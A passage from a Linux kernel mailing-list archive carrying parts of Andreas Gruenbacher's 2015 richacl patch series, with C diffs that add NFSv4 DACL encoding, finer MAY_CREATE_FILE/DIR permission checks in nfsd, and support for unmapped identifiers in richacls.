nfserr_attrnotsupp; goto out; } else if (err != 0) @@ -2389,6 +2473,8 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, if (!IS_ACL(d_inode(dentry))) word0 &= ~FATTR4_WORD0_ACL; + if (!IS_RICHACL(d_inode(dentry))) + word1 &= ~FATTR4_WORD1_DACL; if (!contextsupport) word2 &= ~FATTR4_WORD2_SECURITY_LABEL; if (!word2) { @@ -2502,35 +2588,12 @@ nfsd4_encode_fattr(struct xdr_stream *xdr, struct svc_fh *fhp, *p++ = cpu_to_be32(rdattr_err); } if (bmval0 & FATTR4_WORD0_ACL) { - struct richace *ace; - - if (acl == NULL) { - p = xdr_reserve_space(xdr, 4); - if (!p) - goto out_resource; - - *p++ = cpu_to_be32(0); - goto out_acl; - } - p = xdr_reserve_space(xdr, 4); - if (!p) - goto out_resource; - *p++ = cpu_to_be32(acl->a_count); - - richacl_for_each_entry(ace, acl) { - p = xdr_reserve_space(xdr, 4*3); - if (!p) - goto out_resource; - *p++ = cpu_to_be32(ace->e_type); - *p++ = cpu_to_be32(ace->e_flags & - ~(RICHACE_SPECIAL_WHO | RICHACE_INHERITED_ACE)); - *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); - status = nfsd4_encode_ace_who(xdr, rqstp, ace); - if (status) - goto out; - } + status = nfsd4_encode_acl_entries(xdr, acl, rqstp, + ~NFS4_ACE_INHERITED_ACE, + nfsd4_ace_mask(minorversion)); + if (status) + goto out; } -out_acl: if (bmval0 & FATTR4_WORD0_ACLSUPPORT) { p = xdr_reserve_space(xdr, 4); if (!p) @@ -2746,6 +2809,16 @@ out_acl: } p = xdr_encode_hyper(p, ino); } + if (bmval1 & FATTR4_WORD1_DACL) { + p = xdr_reserve_space(xdr, 4); + if (!p) + goto out_resource; + *p++ = cpu_to_be32(acl->a_flags); + status = nfsd4_encode_acl_entries(xdr, acl, rqstp, + ~0, nfsd4_ace_mask(minorversion)); + if (status) + goto out; + } #ifdef CONFIG_NFSD_PNFS if (bmval1 & FATTR4_WORD1_FS_LAYOUT_TYPES) { status = nfsd4_encode_layout_type(xdr, exp->ex_layout_type); diff --git a/fs/nfsd/nfsd.h b/fs/nfsd/nfsd.h index cf98052..cb5c3ed 100644 --- a/fs/nfsd/nfsd.h +++ b/fs/nfsd/nfsd.h @@ -339,7 +339,8 @@ void nfsd_lockd_shutdown(void); NFSD4_SUPPORTED_ATTRS_WORD0 #define NFSD4_1_SUPPORTED_ATTRS_WORD1 \ - (NFSD4_SUPPORTED_ATTRS_WORD1 | PNFSD_SUPPORTED_ATTRS_WORD1) + (NFSD4_SUPPORTED_ATTRS_WORD1 | PNFSD_SUPPORTED_ATTRS_WORD1 | \ + FATTR4_WORD1_DACL) #define NFSD4_1_SUPPORTED_ATTRS_WORD2 \ (NFSD4_SUPPORTED_ATTRS_WORD2 | PNFSD_SUPPORTED_ATTRS_WORD2 | \ @@ -386,7 +387,8 @@ static inline u32 nfsd_suppattrs2(u32 minorversion) (FATTR4_WORD0_SIZE | FATTR4_WORD0_ACL) #define NFSD_WRITEABLE_ATTRS_WORD1 \ (FATTR4_WORD1_MODE | FATTR4_WORD1_OWNER | FATTR4_WORD1_OWNER_GROUP \ - | FATTR4_WORD1_TIME_ACCESS_SET | FATTR4_WORD1_TIME_MODIFY_SET) + | FATTR4_WORD1_TIME_ACCESS_SET | FATTR4_WORD1_TIME_MODIFY_SET \ + | FATTR4_WORD1_DACL) #ifdef CONFIG_NFSD_V4_SECURITY_LABEL #define NFSD_WRITEABLE_ATTRS_WORD2 FATTR4_WORD2_SECURITY_LABEL #else diff --git a/include/linux/nfs4.h b/include/linux/nfs4.h index 1422fc6..682ced3 100644 --- a/include/linux/nfs4.h +++ b/include/linux/nfs4.h @@ -394,6 +394,7 @@ enum lock_type4 { #define FATTR4_WORD1_TIME_MODIFY (1UL << 21) #define FATTR4_WORD1_TIME_MODIFY_SET (1UL << 22) #define FATTR4_WORD1_MOUNTED_ON_FILEID (1UL << 23) +#define FATTR4_WORD1_DACL (1UL << 26) #define FATTR4_WORD1_FS_LAYOUT_TYPES (1UL << 30) #define FATTR4_WORD2_LAYOUT_TYPES (1UL << 0) #define FATTR4_WORD2_LAYOUT_BLKSIZE (1UL << 1) diff --git a/include/uapi/linux/nfs4.h b/include/uapi/linux/nfs4.h index 2b871e0..b850ffd 100644 --- a/include/uapi/linux/nfs4.h +++ b/include/uapi/linux/nfs4.h @@ -121,7 +121,8 @@ #define NFS4_ACE_GENERIC_READ 0x00120081 #define NFS4_ACE_GENERIC_WRITE 0x00160106 #define NFS4_ACE_GENERIC_EXECUTE 0x001200A0 -#define NFS4_ACE_MASK_ALL 0x001F01FF +#define NFS40_ACE_MASK_ALL 0x001F01FF +#define NFS4_ACE_MASK_ALL 0x001F07FF #define EXCHGID4_FLAG_SUPP_MOVED_REFER 0x00000001 #define EXCHGID4_FLAG_SUPP_MOVED_MIGR 0x00000002 -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:30 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6FE4D29E0C for ; Sun, 11 Oct 2015 18:03:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E625AAC001 for ; Sun, 11 Oct 2015 16:03:29 -0700 (PDT) X-ASG-Debug-ID: 1444604608-04cb6c5786a7ca0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7bQrYEp7zCPeAMR4 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:28 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id C881A341AC2; Sun, 11 Oct 2015 23:03:27 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx371016614; Sun, 11 Oct 2015 19:03:21 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 37/46] nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions Date: Mon, 12 Oct 2015 00:58:48 +0200 X-ASG-Orig-Subj: [PATCH v10 37/46] nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions Message-Id: <1444604337-17651-38-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604608 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher For local file systems, the vfs performs the necessary permission checks for operations like creating files and directories. NFSd duplicates several of those checks. The vfs checks have been extended to check for additional permissions like MAY_CREATE_FILE and MY_CREATE_DIR; the nfsd checks currently lack those extensions. Ideally, all duplicate checks should be removed; for now, just fix the duplicate checks instead though. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4proc.c | 5 +++-- fs/nfsd/nfsfh.c | 8 ++++---- fs/nfsd/vfs.c | 28 ++++++++++++++++++++-------- fs/nfsd/vfs.h | 17 +++++++++-------- 4 files changed, 36 insertions(+), 22 deletions(-) diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index a053e78..8d476ff 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -599,14 +599,15 @@ static __be32 nfsd4_create(struct svc_rqst *rqstp, struct nfsd4_compound_state *cstate, struct nfsd4_create *create) { + int access = create->cr_type == NF4DIR ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; struct svc_fh resfh; __be32 status; dev_t rdev; fh_init(&resfh, NFS4_FHSIZE); - status = fh_verify(rqstp, &cstate->current_fh, S_IFDIR, - NFSD_MAY_CREATE); + status = fh_verify(rqstp, &cstate->current_fh, S_IFDIR, access); if (status) return status; diff --git a/fs/nfsd/nfsfh.c b/fs/nfsd/nfsfh.c index 350041a..7159316 100644 --- a/fs/nfsd/nfsfh.c +++ b/fs/nfsd/nfsfh.c @@ -319,10 +319,10 @@ fh_verify(struct svc_rqst *rqstp, struct svc_fh *fhp, umode_t type, int access) /* * We still have to do all these permission checks, even when * fh_dentry is already set: - * - fh_verify may be called multiple times with different - * "access" arguments (e.g. nfsd_proc_create calls - * fh_verify(...,NFSD_MAY_EXEC) first, then later (in - * nfsd_create) calls fh_verify(...,NFSD_MAY_CREATE). + * - fh_verify may be called multiple times with different + * "access" arguments (e.g. nfsd_proc_create calls + * fh_verify(...,NFSD_MAY_EXEC) first, then later (in + * nfsd_create) calls fh_verify(...,NFSD_MAY_CREATE_FILE). * - in the NFSv4 case, the filehandle may have been filled * in by fh_compose, and given a dentry, but further * compound operations performed with that filehandle diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index 45c0497..fb35775 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -1128,6 +1128,8 @@ nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, __be32 err; __be32 err2; int host_err; + int access = (type == S_IFDIR) ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; err = nfserr_perm; if (!flen) @@ -1136,7 +1138,7 @@ nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, if (isdotent(fname, flen)) goto out; - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, access); if (err) goto out; @@ -1301,7 +1303,7 @@ do_nfsd_create(struct svc_rqst *rqstp, struct svc_fh *fhp, /* If file doesn't exist, check for permissions to create one */ if (d_really_is_negative(dchild)) { - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; } @@ -1485,7 +1487,7 @@ nfsd_symlink(struct svc_rqst *rqstp, struct svc_fh *fhp, if (isdotent(fname, flen)) goto out; - err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, fhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; @@ -1532,7 +1534,7 @@ nfsd_link(struct svc_rqst *rqstp, struct svc_fh *ffhp, __be32 err; int host_err; - err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_CREATE_FILE); if (err) goto out; err = fh_verify(rqstp, tfhp, 0, NFSD_MAY_NOP); @@ -1604,11 +1606,12 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, struct inode *fdir, *tdir; __be32 err; int host_err; + int access; err = fh_verify(rqstp, ffhp, S_IFDIR, NFSD_MAY_REMOVE); if (err) goto out; - err = fh_verify(rqstp, tfhp, S_IFDIR, NFSD_MAY_CREATE); + err = fh_verify(rqstp, tfhp, S_IFDIR, NFSD_MAY_NOP); if (err) goto out; @@ -1647,6 +1650,13 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, if (odentry == trap) goto out_dput_old; + host_err = 0; + access = S_ISDIR(d_inode(odentry)->i_mode) ? + NFSD_MAY_CREATE_DIR : NFSD_MAY_CREATE_FILE; + err = fh_verify(rqstp, tfhp, S_IFDIR, access); + if (err) + goto out_dput_old; + ndentry = lookup_one_len(tname, tdentry, tlen); host_err = PTR_ERR(ndentry); if (IS_ERR(ndentry)) @@ -1672,7 +1682,8 @@ nfsd_rename(struct svc_rqst *rqstp, struct svc_fh *ffhp, char *fname, int flen, out_dput_old: dput(odentry); out_nfserr: - err = nfserrno(host_err); + if (host_err) + err = nfserrno(host_err); /* * We cannot rely on fh_unlock on the two filehandles, * as that would do the wrong thing if the two directories @@ -2005,8 +2016,9 @@ nfsd_permission(struct svc_rqst *rqstp, struct svc_export *exp, uid_eq(inode->i_uid, current_fsuid())) return 0; - /* This assumes NFSD_MAY_{READ,WRITE,EXEC} == MAY_{READ,WRITE,EXEC} */ - err = inode_permission(inode, acc & (MAY_READ|MAY_WRITE|MAY_EXEC)); + /* This assumes NFSD_MAY_{READ,WRITE,EXEC} == MAY_{READ,WRITE,EXEC}. */ + err = inode_permission(inode, acc & (MAY_READ|MAY_WRITE|MAY_EXEC| + MAY_CREATE_DIR|MAY_CREATE_FILE)); /* Allow read access to binaries even when mode 111 */ if (err == -EACCES && S_ISREG(inode->i_mode) && diff --git a/fs/nfsd/vfs.h b/fs/nfsd/vfs.h index fee2451..c849ef2 100644 --- a/fs/nfsd/vfs.h +++ b/fs/nfsd/vfs.h @@ -19,18 +19,19 @@ #define NFSD_MAY_TRUNC 0x010 #define NFSD_MAY_LOCK 0x020 #define NFSD_MAY_MASK 0x03f +#define NFSD_MAY_CREATE_FILE 0x103 /* == MAY_{EXEC|WRITE|CREATE_FILE} */ +#define NFSD_MAY_CREATE_DIR 0x203 /* == MAY_{EXEC|WRITE|CREATE_DIR} */ /* extra hints to permission and open routines: */ -#define NFSD_MAY_OWNER_OVERRIDE 0x040 -#define NFSD_MAY_LOCAL_ACCESS 0x080 /* for device special files */ -#define NFSD_MAY_BYPASS_GSS_ON_ROOT 0x100 -#define NFSD_MAY_NOT_BREAK_LEASE 0x200 -#define NFSD_MAY_BYPASS_GSS 0x400 -#define NFSD_MAY_READ_IF_EXEC 0x800 +#define NFSD_MAY_OWNER_OVERRIDE 0x04000 +#define NFSD_MAY_LOCAL_ACCESS 0x08000 /* for device special files */ +#define NFSD_MAY_BYPASS_GSS_ON_ROOT 0x10000 +#define NFSD_MAY_NOT_BREAK_LEASE 0x20000 +#define NFSD_MAY_BYPASS_GSS 0x40000 +#define NFSD_MAY_READ_IF_EXEC 0x80000 -#define NFSD_MAY_64BIT_COOKIE 0x1000 /* 64 bit readdir cookies for >= NFSv3 */ +#define NFSD_MAY_64BIT_COOKIE 0x100000 /* 64 bit readdir cookies for >= NFSv3 */ -#define NFSD_MAY_CREATE (NFSD_MAY_EXEC|NFSD_MAY_WRITE) #define NFSD_MAY_REMOVE (NFSD_MAY_EXEC|NFSD_MAY_WRITE|NFSD_MAY_TRUNC) /* -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EDC4A29E0C for ; Sun, 11 Oct 2015 18:03:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B10548F8040 for ; Sun, 11 Oct 2015 16:03:37 -0700 (PDT) X-ASG-Debug-ID: 1444604615-04bdf020dda1c00001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id S3Vw7XdZZMZDBrsv (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:35 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id AE722467B; Sun, 11 Oct 2015 23:03:34 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx372016614; Sun, 11 Oct 2015 19:03:28 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 38/46] richacl: Add support for unmapped identifiers Date: Mon, 12 Oct 2015 00:58:49 +0200 X-ASG-Orig-Subj: [PATCH v10 38/46] richacl: Add support for unmapped identifiers Message-Id: <1444604337-17651-39-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604615 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Some remote file systems like nfs may return user or group identifiers that cannot be mapped to local uids / gids. Allow to represent such unmapped identifiers in richacls. (We still cannot represent unmapped owners and owning groups, however.) In the in-memory representation, the richacl is followed by a list of NUL-terminated strings, with no padding. Entries with an unmapped identifier have the RICHACE_UNMAPPED_WHO flag set, and ace->e_id.offs specifies the offset into this list. Multiple entries can refer to the same offset. The xattr representation is similar, but ace->e_id is ignored, and the list of unmapped identifier strings contains a string for each acl entry whose RICHACE_UNMAPPED_WHO flag is set. Signed-off-by: Andreas Gruenbacher --- fs/richacl_base.c | 139 ++++++++++++++++++++++++++++++++++++++++++++---- fs/richacl_compat.c | 18 +++---- fs/richacl_inode.c | 4 +- fs/richacl_xattr.c | 69 ++++++++++++++++++++---- include/linux/richacl.h | 33 ++++++++++-- 5 files changed, 227 insertions(+), 36 deletions(-) diff --git a/fs/richacl_base.c b/fs/richacl_base.c index 3a97a82..f88d19b 100644 --- a/fs/richacl_base.c +++ b/fs/richacl_base.c @@ -23,22 +23,25 @@ MODULE_LICENSE("GPL"); /** - * richacl_alloc - allocate a richacl + * __richacl_alloc - allocate a richacl * @count: number of entries + * @unmapped_size: size to reserve for unmapped identifiers */ struct richacl * -richacl_alloc(int count, gfp_t gfp) +__richacl_alloc(unsigned int count, size_t unmapped_size, gfp_t gfp) { - size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + size_t size = sizeof(struct richacl) + count * sizeof(struct richace) + + unmapped_size; struct richacl *acl = kzalloc(size, gfp); if (acl) { atomic_set(&acl->a_base.ba_refcount, 1); acl->a_count = count; + acl->a_unmapped_size = unmapped_size; } return acl; } -EXPORT_SYMBOL_GPL(richacl_alloc); +EXPORT_SYMBOL_GPL(__richacl_alloc); /** * richacl_clone - create a copy of a richacl @@ -47,7 +50,8 @@ struct richacl * richacl_clone(const struct richacl *acl, gfp_t gfp) { int count = acl->a_count; - size_t size = sizeof(struct richacl) + count * sizeof(struct richace); + size_t size = sizeof(struct richacl) + count * sizeof(struct richace) + + acl->a_unmapped_size; struct richacl *dup = kmalloc(size, gfp); if (dup) { @@ -59,6 +63,9 @@ richacl_clone(const struct richacl *acl, gfp_t gfp) /** * richace_copy - copy an acl entry + * + * If @from has an unmapped who value (from->e_flags & RICHACE_UNMAPPED_WHO), + * it can only be copied within the same acl! */ void richace_copy(struct richace *to, const struct richace *from) @@ -66,6 +73,82 @@ richace_copy(struct richace *to, const struct richace *from) memcpy(to, from, sizeof(struct richace)); } +/** + * richacl_add_unmapped_identifier + * @pacl: Pointer to an acl + * @pace: acl entry within @acl + * @who: unmapped identifier + * @len: length of @who + * @gfp: memory allocation flags + * + * Add an unmapped identifier to an acl, possibly reallocating the acl. + */ +int richacl_add_unmapped_identifier(struct richacl **pacl, + struct richace **pace, + const char *who, + unsigned int len, gfp_t gfp) +{ + struct richacl *acl = *pacl; + size_t size = sizeof(struct richacl) + + acl->a_count * sizeof(struct richace) + + acl->a_unmapped_size + len + 1; + unsigned int index = *pace - acl->a_entries; + + acl = krealloc(*pacl, size, gfp); + if (acl) { + char *unmapped = (char *)(acl->a_entries + acl->a_count); + struct richace *ace = acl->a_entries + index; + + ace->e_flags |= RICHACE_UNMAPPED_WHO; + ace->e_flags &= ~RICHACE_SPECIAL_WHO; + ace->e_id.offs = acl->a_unmapped_size; + memcpy(unmapped + ace->e_id.offs, who, len); + unmapped[ace->e_id.offs + len] = 0; + acl->a_unmapped_size += len + 1; + *pace = ace; + *pacl = acl; + return 0; + } + return -1; +} +EXPORT_SYMBOL_GPL(richacl_add_unmapped_identifier); + +/** + * richace_unmapped_identifier - get unmapped identifier + * @acl: acl containing @ace + * @ace: acl entry + * + * Get the unmapped identifier of @ace as a NUL-terminated string, or NULL if + * @ace doesn't have an unmapped identifier. + */ +const char *richace_unmapped_identifier(const struct richace *ace, + const struct richacl *acl) +{ + const char *unmapped = (char *)(acl->a_entries + acl->a_count); + + if (!(ace->e_flags & RICHACE_UNMAPPED_WHO)) + return NULL; + return unmapped + ace->e_id.offs; +} +EXPORT_SYMBOL(richace_unmapped_identifier); + +/** + * richacl_has_unmapped_identifiers + * + * Check if an acl has unmapped identifiers. + */ +bool richacl_has_unmapped_identifiers(struct richacl *acl) +{ + struct richace *ace; + + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_UNMAPPED_WHO) + return true; + } + return false; +} +EXPORT_SYMBOL_GPL(richacl_has_unmapped_identifiers); + /* * richacl_mask_to_mode - compute the file permission bits from mask * @mask: %RICHACE_* permission mask @@ -214,7 +297,7 @@ static unsigned int richacl_allowed_to_who(struct richacl *acl, richacl_for_each_entry_reverse(ace, acl) { if (richace_is_inherit_only(ace)) continue; - if (richace_is_same_identifier(ace, who) || + if (richace_is_same_identifier(acl, ace, who) || richace_is_everyone(ace)) { if (richace_is_allow(ace)) allowed |= ace->e_mask; @@ -505,45 +588,72 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) const struct richace *dir_ace; struct richacl *acl = NULL; struct richace *ace; - int count = 0; + unsigned int count = 0, unmapped_size = 0, offset = 0; + const char *dir_unmapped; + char *unmapped; if (isdir) { richacl_for_each_entry(dir_ace, dir_acl) { if (!richace_is_inheritable(dir_ace)) continue; + count++; + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) + unmapped_size += strlen(dir_unmapped) + 1; } if (!count) return NULL; - acl = richacl_alloc(count, GFP_KERNEL); + acl = __richacl_alloc(count, unmapped_size, GFP_KERNEL); if (!acl) return ERR_PTR(-ENOMEM); ace = acl->a_entries; + unmapped = (char *)(acl->a_entries + acl->a_count); richacl_for_each_entry(dir_ace, dir_acl) { if (!richace_is_inheritable(dir_ace)) continue; + richace_copy(ace, dir_ace); if (dir_ace->e_flags & RICHACE_NO_PROPAGATE_INHERIT_ACE) ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; else if (!(dir_ace->e_flags & RICHACE_DIRECTORY_INHERIT_ACE)) ace->e_flags |= RICHACE_INHERIT_ONLY_ACE; + + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) { + size_t sz = strlen(dir_unmapped) + 1; + + ace->e_id.offs = offset; + memcpy(unmapped, dir_unmapped, sz); + unmapped += sz; + offset += sz; + } ace++; } } else { richacl_for_each_entry(dir_ace, dir_acl) { if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) continue; + count++; + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) + unmapped_size += strlen(dir_unmapped) + 1; } if (!count) return NULL; - acl = richacl_alloc(count, GFP_KERNEL); + acl = __richacl_alloc(count, unmapped_size, GFP_KERNEL); if (!acl) return ERR_PTR(-ENOMEM); ace = acl->a_entries; + unmapped = (char *)(acl->a_entries + acl->a_count); richacl_for_each_entry(dir_ace, dir_acl) { if (!(dir_ace->e_flags & RICHACE_FILE_INHERIT_ACE)) continue; + richace_copy(ace, dir_ace); ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; /* @@ -551,6 +661,17 @@ richacl_inherit(const struct richacl *dir_acl, int isdir) * non-directories, so clear it. */ ace->e_mask &= ~RICHACE_DELETE_CHILD; + + dir_unmapped = + richace_unmapped_identifier(dir_ace, dir_acl); + if (dir_unmapped) { + size_t sz = strlen(dir_unmapped) + 1; + + ace->e_id.offs = offset; + memcpy(unmapped, dir_unmapped, sz); + unmapped += sz; + offset += sz; + } ace++; } } diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index e513958..c5c670e 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -71,11 +71,13 @@ richacl_insert_entry(struct richacl_alloc *alloc, struct richace **ace) { struct richacl *acl = alloc->acl; unsigned int index = *ace - acl->a_entries; - size_t tail_size = (acl->a_count - index) * sizeof(struct richace); + size_t tail_size = (acl->a_count - index) * sizeof(struct richace) + + acl->a_unmapped_size; if (alloc->count == acl->a_count) { size_t new_size = sizeof(struct richacl) + - (acl->a_count + 1) * sizeof(struct richace); + (acl->a_count + 1) * sizeof(struct richace) + + acl->a_unmapped_size; acl = krealloc(acl, new_size, GFP_KERNEL); if (!acl) @@ -103,10 +105,6 @@ struct richace *richacl_append_entry(struct richacl_alloc *alloc) struct richacl *acl = alloc->acl; struct richace *ace = acl->a_entries + acl->a_count; - if (alloc->count > alloc->acl->a_count) { - acl->a_count++; - return ace; - } return richacl_insert_entry(alloc, &ace) ? NULL : ace; } EXPORT_SYMBOL_GPL(richacl_append_entry); @@ -261,12 +259,12 @@ __richacl_propagate_everyone(struct richacl_alloc *alloc, struct richace *who, if (richace_is_inherit_only(ace)) continue; if (richace_is_allow(ace)) { - if (richace_is_same_identifier(ace, who)) { + if (richace_is_same_identifier(acl, ace, who)) { allow &= ~ace->e_mask; allow_last = ace; } } else if (richace_is_deny(ace)) { - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) allow &= ~ace->e_mask; else if (allow & ace->e_mask) allow_last = NULL; @@ -613,7 +611,7 @@ __richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, richacl_for_each_entry(ace, acl) { if (richace_is_inherit_only(ace)) continue; - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) deny &= ~ace->e_mask; } if (!deny) @@ -629,7 +627,7 @@ __richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, if (richace_is_inherit_only(ace)) continue; if (richace_is_deny(ace)) { - if (richace_is_same_identifier(ace, who)) + if (richace_is_same_identifier(acl, ace, who)) return richace_change_mask(alloc, &ace, ace->e_mask | deny); } else if (richace_is_allow(ace) && diff --git a/fs/richacl_inode.c b/fs/richacl_inode.c index b88a2f1..2f50389 100644 --- a/fs/richacl_inode.c +++ b/fs/richacl_inode.c @@ -161,8 +161,10 @@ richacl_permission(struct inode *inode, const struct richacl *acl, } else if (richace_is_unix_group(ace)) { if (!in_group_p(ace->e_id.gid)) continue; - } else + } else if (richace_is_everyone(ace)) goto entry_matches_everyone; + else + continue; /* * Apply the group file mask to entries other than owner@ and diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c index dc529dc..7ae5348 100644 --- a/fs/richacl_xattr.c +++ b/fs/richacl_xattr.c @@ -35,7 +35,8 @@ richacl_from_xattr(struct user_namespace *user_ns, const struct richace_xattr *xattr_ace = (void *)(xattr_acl + 1); struct richacl *acl; struct richace *ace; - int count; + unsigned int count, offset; + char *unmapped; if (size < sizeof(*xattr_acl) || xattr_acl->a_version != RICHACL_XATTR_VERSION || @@ -45,10 +46,11 @@ richacl_from_xattr(struct user_namespace *user_ns, count = le16_to_cpu(xattr_acl->a_count); if (count > RICHACL_XATTR_MAX_COUNT) return ERR_PTR(-EINVAL); - if (size != count * sizeof(*xattr_ace)) + if (size < count * sizeof(*xattr_ace)) return ERR_PTR(-EINVAL); + size -= count * sizeof(*xattr_ace); - acl = richacl_alloc(count, GFP_NOFS); + acl = __richacl_alloc(count, size, 